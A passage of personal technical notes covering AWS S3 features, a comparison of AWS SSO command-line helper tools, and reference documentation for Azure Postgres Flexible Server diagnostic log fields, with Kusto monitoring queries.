• Delete an object with Show versions on -> Permanent Delete for the chosen version -> if current is deleted the latest non current becomes current.
• No promotion is supported. If an old version is wanted it should be copied over the latest version to create a new one with the content of the old one.
• Lifecycle rule actions (R3) creates a delete marker and promotes it as current version.
• The Expiration rule (R3) only applies to actual object versions, not delete markers.

Replication

Cross-Region Replication (CRR) vs Same-Region Replication (SRR)

Two-way replication

• Enable bidirectional replication between buckets
• Prevents replication loops automatically

Security

Encryption at Rest

• Bucket default encryption: Applied to new objects without specified encryption
• Enforce encryption: Use bucket policy to deny unencrypted uploads

Encryption in Transit

• SSL/TLS (HTTPS) endpoints available
• Enforce with bucket policy: aws:SecureTransport condition

Access Control

Priority order: Explicit DENY → Explicit ALLOW → Implicit DENY

Block Public Access (BPA)

• Four settings: Block public ACLs, Ignore public ACLs, Block public policies, Restrict public buckets
• Applied at account or bucket level
• Overrides bucket policies and ACLs

S3 Access Points

• Named network endpoints with dedicated policies
• Each access point has own DNS name
• Supports VPC-only access
• Simplifies managing access for shared datasets
• Can restrict to specific VPC/VPCE

Event Notifications

Destinations: SNS, SQS, Lambda, EventBridge

Events:

• Object created (PUT, POST, COPY, CompleteMultipartUpload)
• Object deleted, restored
• Replication events
• Lifecycle events
• Intelligent-Tiering changes

EventBridge advantages:

• Advanced filtering (JSON rules)
• Multiple destinations
• Archive, replay events
• 18+ AWS service targets

S3 Directory Buckets

• New bucket type optimized for high performance
• Used with S3 Express One Zone storage class
• Single-digit millisecond latency
• Up to 100GB/s throughput per bucket
• Consistent hashing for predictable performance
• Different naming: bucket-name--azid--x-s3

Performance

Multipart Upload

• Required for objects > 5GB
• Recommended for objects > 100MB
• Parts: 1-10,000 parts, 5MB-5GB each (except last)
• Benefits: Parallel uploads, pause/resume, start before knowing final size

Transfer Acceleration

• Uses CloudFront edge locations
• URL: bucket-name.s3-accelerate.amazonaws.com
• Up to 50-500% faster for global users
• Additional cost per GB
• Test speed: AWS provides comparison tool

Performance Baseline

• 3,500 PUT/COPY/POST/DELETE requests per second per prefix
• 5,500 GET/HEAD requests per second per prefix
• No limit on prefixes per bucket
• Spread objects across prefixes for higher throughput

Byte-Range Fetches

• Request specific byte ranges of object
• Parallelize downloads
• Resilient to network failures (retry smaller range)

S3 Select & Glacier Select

• Retrieve subset of data using SQL
• Filter at S3 side (up to 400% faster, 80% cheaper)
• Works with CSV, JSON, Parquet
• Supports compression (GZIP, BZIP2)

AWS EC2

EC2 instance types

Instance types names are composed of 4 components

1. Instance family: The primary purpose of the instance.
2. Generation: Version number, higher is newer, faster and usually cheaper for the same performance
3. Additional capabilities: Information about Additional hardware capabilities. Like CPU brand, networking optimization, ...
4. Service related prefix/suffix: The service owning the instance (e.g. rds, search, cache...)

Common Instance families

Common Additional capabilities

CloudFront

ACM certificates and CloudFront

To associate a custom SSL/TLS certificate with an Amazon CloudFront distribution, the certificate must be provisioned or imported in the US East (N. Virginia) us-east-1 region using AWS Certificate Manager (ACM). This requirement applies regardless of where your origins or users are located, as CloudFront’s global control plane operates out of N. Virginia. Certificates created in other regions (e.g., eu-west-1, us-west-2) will not be visible or selectable in the CloudFront console.

AWS SSO CLI Helpers

Content of the .aws files

• config: Contain the config for all the profiles and sso-session. It only contains non-sensitive data.
• credentials: Contains credentials for AWS accounts. Keys in case of key auth, and SSO session tokens in case of SSO authentication
• cache: Stores temporary credentials (e.g. sso session tokens). Used to avoid re-authentication each time we use CLI
• cli: contains cache and history for CLI.

Profile sections use [profile profile_name] (e.g., [profile user1]; note the "profile" prefix, which distinguishes it from the credentials file).

credential_process = /opt/home/theodo/.local/bin/go-aws-sso assume -q -a 381491832352 -n Admin. This can be used in credentials file to use a command to get the credentials.

All these are overridden by these env variables:

AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
AWS_DEFAULT_REGION
AWS_PROFILE
AWS_CONFIG_FILE
AWS_SHARED_CREDENTIALS_FILE

What happens when I run aws configure sso

• config: contains [profile profile-name] and [sso-session session-name]
• sso/cache: contains files with cached tokens.
• I need to learn about SSO in general to understand the different fields
• credentials is never changes since SSO uses refresheable tokens.

AWS SSO Helpers

go-aws-sso:

How it works

This has 3 sub-commands:

• generate: creates a config file in XDG_CONFIG.
• assume: takes an account_id and role_name and assume it.
• refresh: Refreshes the credentials. Nothing happens if the credentials are still not expired

If the command is invoked without subcommands it fetches an interactive menu with all the accounts and roles to choose from.

There are 2 sets of files created:

• config file: generate with config and contains the SSO instance url and the region.
• credentials: it has the regions and uses a credentials_process helper that points to go-aws-sso assume. The later fetches the SSO access token then uses it to GetRoleCredentials for the specified role.

credential_process = /opt/home/theodo/.local/bin/go-aws-sso assume -q -a 339712704276 -n ReadOnly

• sso/cache folder: it contains two files access-token.json which contain SSO credentials and last-usage which contains metadata about the currently (or latest) used profile.

Deal breaker

The tool is simple and minimalist, but it does not work for a complex setup. It is like a tool to connect to whatever profile (account+role) we need, fast. It support one SSO instance at a time and one profile at a time. In addition to that, it does drift a lot from the default aws cli behavior.

1. It creates its own SSO cached credentials with its own format. and adds a new file last-usage.json
2. It does not rely on .aws/config file.
3. It creates a default .aws/credentials and point to assume which generates temporary credentials.
4. [Not Sure] The credentials are not cached anywhere which means the assume is called every time.

Pros

• It works
• Simple to use.
• Single Go binary
• Can run in headless mode (outputs the url instead of opening a new browser tab)

Cons

• Supports only one SSO instance
• Does not configure environment variables.
• Does not adhere to the AWS SSO philosophy.
• Weird and kind of opinionated! It uses the credentials file with sso authentication. And it creates files and configs in the format specified by them. -> The tool uses the AWS SSO API to fetch temporary credentials (Access Key ID, Secret Access Key, Session Token) for the chosen role. Then it either uses credential_process which configures go-aws-sso to be the credentials provider. Or persist which write a short lived credentials (keys) into the credentials file.

ssosync

This is awslabs tools which populates AWS SSO from G Suite

aws-vault

Manager for AWS credentials. It stores the creds in the machine keystore (e.g. pass) and when it is invoked it uses the STS to generate temporary credentials via the GetSessionToken or AssumeRole API calls.

Then it injects the temporary credentials into the process when aws-vault exec. Key Difference: SSO commands are SSO-centric (federated access, no stored IAM keys needed), while aws-vault is credential-vault-centric (stores IAM keys securely and creates temporary sessions). SSO is for identity federation; aws-vault is for credential isolation.

It does not match the use case.

awsesh

This is fairly new, written in Go as a TUI. It is almost the same as go-aws-sso, since it also uses sso API to generate temporary credentials and store them in credentials.

How it works

It authenticate to SSO instance and then it creates the following files:

• awesesh: contains the information about the SSO instance. And the account used.
• awesesh-account: contains all the accounts and associated roles. It may be used for caching purposes.
• awsesh-tokens: contains the tokens for the SSO instance
• credentials: contains static credentials generates when logging in to the account/role in awsesh.

Deal breaker

Although this is more beautiful, it is almost the same as go-aws-sso. It is not for complex setup but it is intended for daily use. It simplifies switching but not configuration oriented. Also it is opinionated and uses it own conventions compared to native aws sso cli. It has the same drawbacks as go-aws-sso but it uses static credentials which is supported by go-aws-sso.

Pros

• TUI
• Simple to use
• Single Go Binary
• Supports many SSO Orgs

Cons

• No Documentation
• New and kind of vibecoded
• Opinionated and does not rely on the aws config file conventions themselves.
• Support one profile (support for multiple profiles has been added).

yawsso

This seems not maintained (latest release in 2024). This is same as go-aws-cli. It syncs SSO to regular AWS credentials.

:point_down_tone4::point_down_tone4: Generated by AI :point_down_tone4::point_down_tone4:

yawsso works by:

1. Reading AWS config profiles – It parses your ~/.aws/config file to identify which profiles are using SSO (with sso_start_url, sso_region, sso_account_id, sso_role_name).
2. Extracting cached SSO session – It finds the corresponding session in the ~/.aws/sso/cache/ files created by aws sso login.
3. Calling AWS SSO OIDC APIs (via boto3/AWS SDK) – With that cached SSO access token, yawsso requests temporary AWS credentials (access key, secret, session token) for the given account and role, just like the CLI would internally.
4. Writing credentials to legacy store – It then writes those credentials into the legacy ~/.aws/credentials file under the selected or mapped profile names (e.g., dev, prod, or foo if you rename).
5. Optional extras – It can also export them into environment variables (-e), copy them to the clipboard, or refresh them automatically when expired (auto).

:point_up_2_tone4::point_up_2_tone4: Generated by AI :point_up_2_tone4::point_up_2_tone4:

aws-sso-util

How it works

It connects to the SSO instances and pull all the profiles to .config file. Then it logs in once to the SSO instance. And when a profile is used by aws CLI, it uses SSO API to get credentials.

The behavior is the closest you can get to the native SSO CLI.

Pros

• Use the same features as the native aws sso cli
• Manages .config file instead of adding new files
• Login once and switch between the accounts
• Simple to use.
• It adds an credential-helper in config file for AWS SDKs that don't support SSO.
• It has a lib

Cons

• configure command does not support the latest .aws/config format to infer sso information form the it.
• configure does not take the information from the CLI directly. In fact it does support providing the SSO fields through environment variables, inference through aws config file, or with command line option. (-u and --sso-region)
• Loose support for multiple SSO instances. If 2 instances have the same account the second configure overrides the first.

aws-sso-cli

Powerfull aws-sso tool, intended to replace aws cli altogether.

How it works

The aws-sso-cli differs so much from the vanilla aws cli. It relies on a yaml file in XDG_CONFIG_HOME. The config is generated by setup command and contains the SSO instance configuration as well as the cli configuration. It also creates other files:

• config.yaml: see above
• cache.json: contains cached roles (with accounts and aliases)
• secure/: a Folder with encrypted credentials.

Deal Breaker

Simple put: It is too complex for me + it is so opinionated.

• It is very powerful and offers a lot of features and options but it has its own way to do things. As for me, I really want to me as minimalist as possible and rely on vanilla tools or tools that follows the standards from AWS tooling.
• It has so much to learn, and offers a lot of NON-STANDARD ways to do things (mainly assume roles or connect to profiles). Although it can be configured to follow aws cli v2 standards, I don't think it is worth it at least at the stage I am on right now. Maybe in the future, my workflow will get so much complex and will require using something like this tool.

Pros

• Powerful
• Very good documentation
• Feature rich
• Supports encryption for credentials

Cons

• Complex
• So opinionated! Although it replaces aws cli v2 entirely and comes with it own philosophy and interface.

AWSume: AWS Assume Made Awesome! | AWSume

This is more to replace aws assume role.

References

• 🔧 benkehoe/aws-sso-util: Smooth out the rough edges of AWS SSO (temporarily, until AWS makes it better).
• 🔧 synfinatic/aws-sso-cli: A powerful tool for using AWS Identity Center for the CLI and web console.
• Demos - AWS SSO CLI
• 🔧 Securing AWS Credentials on Engineer's Machines - 99designs
• 📖 Configuring IAM Identity Center authentication with the AWS CLI - AWS Command Line Interface
• 📖 How AWS SSO config works: Very good resource about how things work. I should go through it again to understand more.
• 📖 Compared to aws-vault - AWS SSO CLI
• 📖 Minimal AWS SSO setup for personal AWS development - DEV Community
• 🔧 org-formation/org-formation-cli: Better than landingzones!
• 📖 Understand the AWS SSO login configuration - DEV Community
• 📖 Configuration and credential file settings in the AWS CLI - AWS Command Line Interface
• 🐞 How do I login to a distroBox App that uses a browser to login? : r/Bazzite

Azure

Notes on Microsoft Azure services.

• Postgres Flexible Server — Logs
• Postgres Flexible Server — Troubleshooting Checklist
• Postgres Flexible Server — Logs summary

Azure Postgres Flexible Server — Logs

Azure Database for PostgreSQL Flexible Server emits several resource log categories through Diagnostic Settings. Each category can be routed to a Log Analytics workspace, a Storage account, or Event Hubs.

There are two ways the data lands in Log Analytics:

• Azure diagnostics mode — every category is flattened into the single AzureDiagnostics table. Category-specific fields are stored as dynamically typed columns with a type suffix (_s string, _d real/number, _t datetime, _b boolean). (This is the mode used by the my-la-workspace workspace that my-pg-prd-1 writes to.)
• Resource-specific mode (recommended) — each category gets its own strongly typed table (e.g. PGSQLServerLogs), which is cheaper to query and store.

The field names below use the AzureDiagnostics form (with type suffixes), as observed live on my-pg-prd-1. In resource-specific tables the same fields exist without the suffix (e.g. errorLevel_s → ErrorLevel).

Log categories at a glance

¹ Configurable via server parameter pg_qs.interval_length_minutes (default 15).

Common envelope fields

These Azure Monitor fields are present on every category (not repeated in subpages).

Identity / routing

• TimeGenerated (datetime) — when the record was ingested by Azure Monitor.
• Category (string) — the log category (one of the values above).
• OperationName (string) — always LogEvent for these logs.
• LogicalServerName_s (string) — the Flexible Server name (e.g. my-pg-prd-1).
• ReplicaRole_s (string) — Primary or Replica.

Azure Resource Manager context

• ResourceId / _ResourceId (string) — full ARM ID of the server.
• Resource (string) — short resource name (upper-cased).
• ResourceGroup, SubscriptionId, ResourceProvider (MICROSOFT.DBFORPOSTGRESQL), ResourceType (FLEXIBLESERVERS).
• location_s (string) — Azure region (e.g. francecentral).

Plumbing

• TenantId (string) — Log Analytics workspace ID.
• SourceSystem (string) — always Azure.
• Type (string) — table name (AzureDiagnostics).

Querying notes

• Filter by server with LogicalServerName_s == "my-pg-prd-1" — the my-la-workspace workspace is shared by many servers.
• Join Query Store data on the string fingerprint, not the numeric one — the _d float loses precision on 64-bit integers:

  AzureDiagnostics
  | where Category == "PostgreSQLFlexQueryStoreRuntime"
  | join kind=leftouter (
      AzureDiagnostics
      | where Category == "PostgreSQLQueryStoreSqlText"
      | distinct Queryid_str_s, Query_sql_text_s
    ) on Queryid_str_s
  

• PostgreSQLLogs is the only category with free Log Analytics ingestion; all others are billed per GB of data ingested into the workspace.

Fields verified live (2026-06-23) against the my-la-workspace Log Analytics workspace, which collects diagnostics for my-pg-prd-1 and sibling Flexible Servers, in AzureDiagnostics mode.

General Q&A

You query pg_stat_activity
        │
        ▼
Postgres reads live state from shared memory → returns current rows
        │
One second later the same query returns entirely different rows.
No record of what was there before.

Postgres server                        Azure Log Analytics
─────────────────                      ───────────────────
pg_stat_activity  ──(sample every 5min)──▶  AzureDiagnostics
  (live, no history)                        (historical, retained)

Query executes and finishes
        │
        ▼
pg_stat_statements counters for this Queryid:
  calls     += 1
  total_time += <duration>
  rows       += <rows>
  blks_hit   += <hits>
  …  (atomic, on every execution, no monitoring agent needed)

every 15 min:
  Query Store reads delta → stores in azure_sys (no loss)
  Azure ships azure_sys  → Log Analytics     (no loss)

Diagnostic Setting enabled
        │
        ▼
Data flows to Log Analytics workspace
        │
        ▼
Ingestion billed per GB  (except PostgreSQLLogs → free)
        │
        ▼
Retention billed per GB/month after 30 days

PostgreSQLLogs — PostgreSQL Server Logs

The raw Postgres engine log stream. One record per log line. This is the only category that is free to export.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLLogs" and LogicalServerName_s == server
| project errorLevel_s, sqlerrcode_s, timestamp_s, processId_d,
          backend_type_s, Message, AdditionalFields

Fields

Event content

• Message (string) — the full formatted log line (timestamp, PID, level, text).
• errorLevel_s (string) — severity: LOG, WARNING, ERROR, FATAL, PANIC, DEBUG…
• sqlerrcode_s (string) — Postgres SQLSTATE code (00000 = success/no error).
• timestamp_s (string) — engine-emitted timestamp of the event (UTC).
• processId_d (number) — OS PID of the backend that produced the line.
• backend_type_s (string) — backend type: client backend, checkpointer, autovacuum worker, walwriter…
• AdditionalFields (dynamic) — extra key/value context (e.g. locale info).

Statement fields (present when log_statement or log_min_duration_statement fires)

• statement_s (string) — the SQL text of the logged statement.
• detail_s (string) — extended detail, e.g. bind-parameter values for prepared statements.
• applicationName_s (string) — value of application_name set by the client.
• userName_s (string) — Postgres role that executed the statement.
• databaseName_s (string) — database the statement ran against.
• clientHost_s (string) — client hostname or IP address.
• clientPort_d (number) — client TCP port.

Server / build metadata

• AppType_s / ServerType_s (string) — PostgreSQL.
• AppImage_s (string) — container image of the engine.
• AppVersion_s / ServerVersion_s (string) — engine build label.
• ServerLocation_s (string) — environment:region (e.g. prod:francecentral).
• Region_s (string) — region.
• OriginalPrimaryServerName_s (string) — original primary (relevant for restored/replica servers).

Use cases — troubleshooting

• Connection failures & auth issues — FATAL/ERROR lines: bad password, no pg_hba.conf entry, SSL required, role doesn't exist.
• Application errors — surface SQLSTATE (sqlerrcode_s) for deadlocks (40P01), serialization failures (40001), constraint violations (23xxx), syntax errors (42xxx).
• "Too many connections" — 53300 / connection-limit rejections.
• Slow queries — statements logged via log_min_duration_statement (duration lines).
• Crashes / restarts & recovery — PANIC/FATAL, startup/shutdown, checkpoint and recovery messages.
• Disk / resource pressure — could not extend file, out-of-memory, temp-file warnings, disk full.
• Replication problems — WAL sender/receiver errors, standby disconnects.
• Lock waits / deadlocks — deadlock detected and lock-wait log entries (with log_lock_waits).
• Config & extension load errors — failed ALTER SYSTEM, parameter and library load failures.

PostgreSQLFlexSessions — Sessions data

A scheduled snapshot of pg_stat_activity (~every 5 min). One record per connection per snapshot. Reflects state at collection time only — not a continuous record of session activity.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| project Pid_d, Database_name_s, Usesysid_d, Application_name_s, Client_addr_s,
          Backend_type_s, State_s, Backend_start_t, Session_duration_s,
          Collection_time_t, Query_start_t, Xact_start_t, State_change_t,
          Wait_event_type_s, Wait_event_s, Backend_xid_d, Backend_xmin_d

Fields

Session identity

• Pid_d (number) — backend process ID.
• Datid_d (number) — OID of the connected database.
• Database_name_s (string) — database name.
• Usesysid_d (number) — OID of the logged-in role.
• Application_name_s (string) — client-declared application name (e.g. PostgreSQL JDBC Driver).
• Client_addr_s (string) — client IP address.
• Backend_type_s (string) — backend type (client backend, pg_cron launcher, walsender…).

State & timing

• State_s (string) — active, idle, idle in transaction, idle in transaction (aborted), fastpath function call, disabled.
• Backend_start_t (datetime) — when the backend connected.
• Session_duration_s (string) — how long the session has been alive.
• Collection_time_t (datetime) — when the snapshot was taken.
• Query_start_t, Xact_start_t, State_change_t (datetime) — start of current query / transaction / last state change (populated when the session is mid-query/transaction).

Wait state

• Wait_event_type_s (string) — category of wait (Client, Lock, IO, LWLock, Extension…).
• Wait_event_s (string) — specific wait event (ClientRead, DataFileRead…).

Transaction visibility (when present)

• Backend_xid_d (number) — top-level transaction ID of the session.
• Backend_xmin_d (number) — xmin horizon of the session.

Use cases — troubleshooting

• Connection saturation — count sessions over time / per Database_name_s / Usesysid_d to see who is approaching max_connections.
• Idle-in-transaction leaks — find State_s == "idle in transaction" with long Session_duration_s (blocks vacuum, holds locks).
• Who is connected — break down active connections by Application_name_s and Client_addr_s (noisy clients, missing pooling).
• Wait-state hotspots right now — aggregate Wait_event_type_s / Wait_event_s to see if backends wait on locks, I/O, or client.
• Long-running / stuck queries — sessions active with old Query_start_t.
• Bloat / vacuum blockers — old Backend_xmin_d / Backend_xid_d holding back the xmin horizon.
• Connection-pool health — too many short-lived backends or pg_cron/walsender activity.

Q&A

sequenceDiagram
    participant Client
    participant Backend
    participant Snapshotter

    Note over Backend: Backend_start_t — process forked, connection accepted

    Client->>Backend: send query
    Note over Backend: Query_start_t = now<br/>State_change_t = now<br/>(idle → active, simultaneous)

    Backend->>Backend: executing…

    Backend->>Client: return result
    Note over Backend: State_change_t = now  (active → idle)<br/>Query_start_t unchanged

    Note over Snapshotter: Collection_time_t — snapshot taken<br/>(reads pg_stat_activity as-is)
    Snapshotter->>Backend: SELECT * FROM pg_stat_activity

PostgreSQLFlexQueryStoreRuntime — Query Store Runtime

Aggregated execution statistics per normalized query, per collection interval (default 15 min). Sourced from pg_stat_statements via Azure Query Store. Every execution is counted — no data is lost between collection windows.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLFlexQueryStoreRuntime" and LogicalServerName_s == server
| project Queryid_str_s, Dbid_d, Userid_d, Query_type_s, Is_system_query_b,
          Start_time_t, End_time_t,
          Calls_d, Rows_d, Total_time_d, Mean_time_d, Min_time_d, Max_time_d, Stddev_time_d,
          Shared_blks_hit_d, Shared_blks_read_d, Shared_blks_dirtied_d, Shared_blks_written_d,
          Local_blks_hit_d, Local_blks_read_d, Local_blks_dirtied_d, Local_blks_written_d,
          Temp_blks_read_d, Temp_blks_written_d, Blk_read_time_d, Blk_write_time_d,
          AdditionalFields

Fields

Query identity

• Queryid_d (number) — query fingerprint (numeric; may lose precision — prefer Queryid_str_s).
• Queryid_str_s (string) — same fingerprint as a string (use this for joins/exact match).
• Dbid_d (number) — database OID.
• Userid_d (number) — role OID that ran the query.
• Query_type_s (string) — statement type: select, insert, update, delete, or empty for utility commands.
• Is_system_query_b (boolean) — whether it's an internal/system query.
• AdditionalFields (dynamic) — extra context such as Search_path.

Collection window

• Start_time_t / End_time_t (datetime) — bounds of the aggregation interval.
• Runtime_stats_entry_id_d (number) — internal ID of the stats bucket in azure_sys.

Execution counters & timing (cumulative over the window)

• Calls_d (number) — number of executions.
• Rows_d (number) — total rows returned/affected.
• Total_time_d (number, ms) — total execution time.
• Mean_time_d / Min_time_d / Max_time_d / Stddev_time_d (number, ms) — per-call time distribution.

Buffer / block I/O

• Shared_blks_hit_d / Shared_blks_read_d / Shared_blks_dirtied_d / Shared_blks_written_d (number) — shared buffer cache hits, disk reads, dirtied and written blocks.
• Local_blks_hit_d / Local_blks_read_d / Local_blks_dirtied_d / Local_blks_written_d (number) — same for local (temp-table) buffers.
• Temp_blks_read_d / Temp_blks_written_d (number) — temp file blocks read/written (spills).
• Blk_read_time_d / Blk_write_time_d (number, ms) — time spent reading/writing blocks (needs track_io_timing).

For a deep explanation of the buffer I/O fields see Postgres — Buffer I/O explained.

Use cases — troubleshooting

• Find the most expensive queries — rank by Total_time_d (overall load) or Mean_time_d (per-call slowness).
• High CPU investigation — top queries by Total_time_d / Calls_d driving CPU.
• Cache efficiency / I/O-bound queries — low Shared_blks_hit_d vs high Shared_blks_read_d, or high Blk_read_time_d.
• Temp-file spills (work_mem too low) — non-zero Temp_blks_read_d / Temp_blks_written_d.
• Write amplification — high Shared_blks_dirtied_d / Shared_blks_written_d.
• Plan/perf regressions over time — compare Mean_time_d / Stddev_time_d for the same Queryid_str_s across windows.
• Chatty queries — high Calls_d with low per-call cost (N+1 patterns).
• Result-set blowups — unexpectedly large Rows_d.

Q&A

64-bit hash output:
  0xxxxxxx xxxxxxxx … → positive when read as int64
  1xxxxxxx xxxxxxxx … → negative when read as int64  (MSB = 1)

PostgreSQLFlexQueryStoreWaitStats — Query Store Wait Statistics

Wait-event counts aggregated per query per interval. Collected by a background sampler (~every 1 second) reading pg_stat_activity. Tells you why queries wait, not how many times they ran.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLFlexQueryStoreWaitStats" and LogicalServerName_s == server
| project Queryid_str_s, Dbid_d, Userid_d,
          Event_type_s, Event_s, Calls_d, Start_time_t, End_time_t

Fields

Query identity

• Queryid_d (number) — query fingerprint (prefer Queryid_str_s for joins).
• Queryid_str_s (string) — string form of the fingerprint.
• Dbid_d (number) — database OID.
• Userid_d (number) — role OID.

Wait event

• Event_type_s (string) — wait class (Client, Lock, IO, LWLock, Timeout, IPC…).
• Event_s (string) — specific event (ClientRead, DataFileRead, WALWrite…).
• Calls_d (number) — number of 1-second samples this (query, wait event) was observed.

Collection window

• Start_time_t / End_time_t (datetime) — bounds of the aggregation interval (default 15 min).

Use cases — troubleshooting

• Why is a query slow — see whether a Queryid_str_s waits mostly on Lock, IO, LWLock, Client, or IPC.
• Lock contention — high Event_type_s == "Lock" (e.g. relation, transactionid, tuple) points to blocking/serialization.
• I/O bottlenecks — IO waits like DataFileRead/WALWrite indicate storage/IOPS limits.
• Client/network stalls — dominant Client / ClientRead waits mean the app, not the DB, is the bottleneck.
• Contention on shared structures — LWLock / BufferPin waits (buffer mapping, WAL, etc.).
• Wait-profile shift detection — compare a query's wait mix across windows to catch new contention.

Q&A

Window 16:10 → 16:25 for Queryid X:

  Queryid_str_s  | Event_type | Event           | Calls_d
  ───────────────┼────────────┼─────────────────┼────────
  X              | Lock       | transactionid   |  42
  X              | IO         | DataFileRead    |  11
  X              | Client     | ClientRead      |   3

Every ~1 second:
  SELECT pid, query_id, wait_event_type, wait_event
  FROM pg_stat_activity
  WHERE wait_event IS NOT NULL
  → for each (query_id, event_type, event) found: counter += 1

At end of window:
  flush counters → one row per (query_id, event_type, event)

HTTP request 1 → backend executes SELECT * FROM mytable  (t=0s → t=10s)
  t=0   pg_stat_activity: backend → active (no wait)          not counted
  t=1   pg_stat_activity: backend → Lock/transactionid  ┐
  t=2   pg_stat_activity: backend → Lock/transactionid  │
  t=3   pg_stat_activity: backend → Lock/transactionid  │  7 samples
  t=4   pg_stat_activity: backend → Lock/transactionid  │
  t=5   pg_stat_activity: backend → Lock/transactionid  │
  t=6   pg_stat_activity: backend → Lock/transactionid  │
  t=7   pg_stat_activity: backend → Lock/transactionid  ┘
  t=8   pg_stat_activity: backend → active (lock released)    not counted
  t=9   pg_stat_activity: backend → active                    not counted
  t=10  query finishes, result sent to app

HTTP request 2 → same pattern → 7 more samples
HTTP request 3 → same pattern → 7 more samples

Category       = PostgreSQLFlexQueryStoreWaitStats
Queryid_str_s  = X
Event_type_s   = Lock
Event_s        = transactionid
Calls_d        = 21          ← 7 samples × 3 executions
Start_time_t   = 16:10
End_time_t     = 16:25

PostgreSQLQueryStoreSqlText — Query Store SQL Text

The full SQL text for each Queryid, so runtime and wait stats can be made human-readable. Join to PostgreSQLFlexQueryStoreRuntime or PostgreSQLFlexQueryStoreWaitStats on Queryid_str_s.

No rows were present in the my-la-workspace workspace at the time of writing — fields below are per Microsoft's schema.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLQueryStoreSqlText" and LogicalServerName_s == server
| project Queryid_str_s, Dbid_d, Userid_d, Query_sql_text_s

Fields

• Queryid_d (number) — query fingerprint (prefer Queryid_str_s).
• Queryid_str_s (string) — string form of the fingerprint (join key).
• Query_sql_text_s (string) — the normalized/captured SQL text.
• Dbid_d (number) — database OID.
• Userid_d (number) — role OID.

Use cases — troubleshooting

• Make runtime/wait stats readable — resolve a Queryid_str_s to its actual SQL when investigating a slow or heavy query.
• Identify the offending statement — turn a top-by-Total_time_d fingerprint into the real query to optimize/index.
• Detect un-parameterized SQL — spot near-duplicate texts that should be using bind parameters.
• Audit / review — see exactly which statements a given Userid_d or Dbid_d runs.

PostgreSQLFlexTableStats — Autovacuum & schema statistics

Per-table activity from pg_stat_user_tables, plus per-collection rollups. Useful for bloat detection and autovacuum tuning.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLFlexTableStats" and LogicalServerName_s == server
| project DatabaseName_s, Schemaname_s,
          Seq_scan_d, Seq_tup_read_d, Idx_scan_d, Idx_tup_fetch_d,
          N_tup_ins_d, N_tup_upd_d, N_tup_del_d, N_tup_hot_upd_d,
          N_live_tup_d, N_dead_tup_d, N_mod_since_analyze_d,
          Vacuum_count_d, Autovacuum_count_d, Analyze_count_d, Autoanalyze_count_d,
          Tables_counter_d, Tables_vacuumed_d, Tables_autovacuumed_d,
          Tables_analyzed_d, Tables_autoanalyzed_d

Fields

Table identity

• DatabaseName_s (string) — database name.
• Schemaname_s (string) — schema name.

Access patterns

• Seq_scan_d (number) — sequential scans on the table.
• Seq_tup_read_d (number) — live rows fetched by sequential scans.
• Idx_scan_d (number) — index scans.
• Idx_tup_fetch_d (number) — live rows fetched by index scans.

Row churn

• N_tup_ins_d / N_tup_upd_d / N_tup_del_d (number) — rows inserted / updated / deleted.
• N_tup_hot_upd_d (number) — HOT (heap-only tuple) updates.
• N_live_tup_d / N_dead_tup_d (number) — estimated live / dead tuples.
• N_mod_since_analyze_d (number) — rows changed since the last analyze.

Maintenance counters (per table)

• Vacuum_count_d / Autovacuum_count_d (number) — manual / automatic vacuums.
• Analyze_count_d / Autoanalyze_count_d (number) — manual / automatic analyzes.

Collection rollups (per snapshot, across all tables)

• Tables_counter_d (number) — number of tables in the snapshot.
• Tables_vacuumed_d / Tables_autovacuumed_d (number) — tables vacuumed manually / automatically.
• Tables_analyzed_d / Tables_autoanalyzed_d (number) — tables analyzed manually / automatically.

Use cases — troubleshooting

• Table bloat — high N_dead_tup_d relative to N_live_tup_d signals bloat hurting performance/storage.
• Autovacuum not keeping up — growing N_dead_tup_d with stale/zero Autovacuum_count_d, or low Tables_autovacuumed_d per cycle.
• Stale statistics → bad plans — high N_mod_since_analyze_d with old Autoanalyze_count_d means the planner is using stale stats.
• Missing indexes / full scans — high Seq_scan_d and Seq_tup_read_d vs low Idx_scan_d on big tables.
• Unused indexes — Idx_scan_d near zero (candidate to drop).
• Write-heavy hotspots — large N_tup_ins_d/N_tup_upd_d/N_tup_del_d; low N_tup_hot_upd_d ratio hints at poor HOT-update efficiency (fillfactor/index churn).
• Vacuum coverage — verify whether maintenance is actually touching the tables that need it.

PostgreSQLFlexDatabaseXacts — Remaining transactions

Per-database transaction-ID (XID) and multixact-ID (MXID) consumption. The key signal for transaction-ID wraparound prevention — Postgres will force the cluster into read-only mode if XIDs are exhausted.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLFlexDatabaseXacts" and LogicalServerName_s == server
| project DatabaseName_s, Datdba_d, DatConnLimit_d,
          DatFrozenxid_d, DatMinmxid_d, Age_DatFrozenxid_d, Age_DatMinmxid_d,
          Autovacuum_freeze_max_age_d, Autovacuum_multixact_freeze_max_age_d,
          Vacuum_freeze_min_age_d, Vacuum_multixact_freeze_min_age_d,
          Remaining_xids_till_emergency_autovacuum_d, Remaining_xids_till_wraparound_d,
          Remaining_mxids_till_emergency_autovacuum_d, Remaining_mxids_till_wraparound_d,
          Total_remaining_xids_d, Total_remaining_mxids_d

Fields

Database identity

• DatabaseName_s (string) — database name.
• Datdba_d (number) — OID of the database owner.
• DatConnLimit_d (number) — per-database connection limit (-1 = no limit).

Frozen-ID watermarks

• DatFrozenxid_d (number) — oldest unfrozen XID in the database.
• DatMinmxid_d (number) — oldest multixact ID in the database.
• Age_DatFrozenxid_d (number) — age (XIDs elapsed) since datfrozenxid.
• Age_DatMinmxid_d (number) — age since datminmxid.

Vacuum thresholds (effective settings)

• Autovacuum_freeze_max_age_d (number) — XID age that forces an anti-wraparound autovacuum.
• Autovacuum_multixact_freeze_max_age_d (number) — MXID age that forces it.
• Vacuum_freeze_min_age_d (number) — min XID age before tuples get frozen.
• Vacuum_multixact_freeze_min_age_d (number) — min MXID age before freezing.

Remaining headroom (alerting signals)

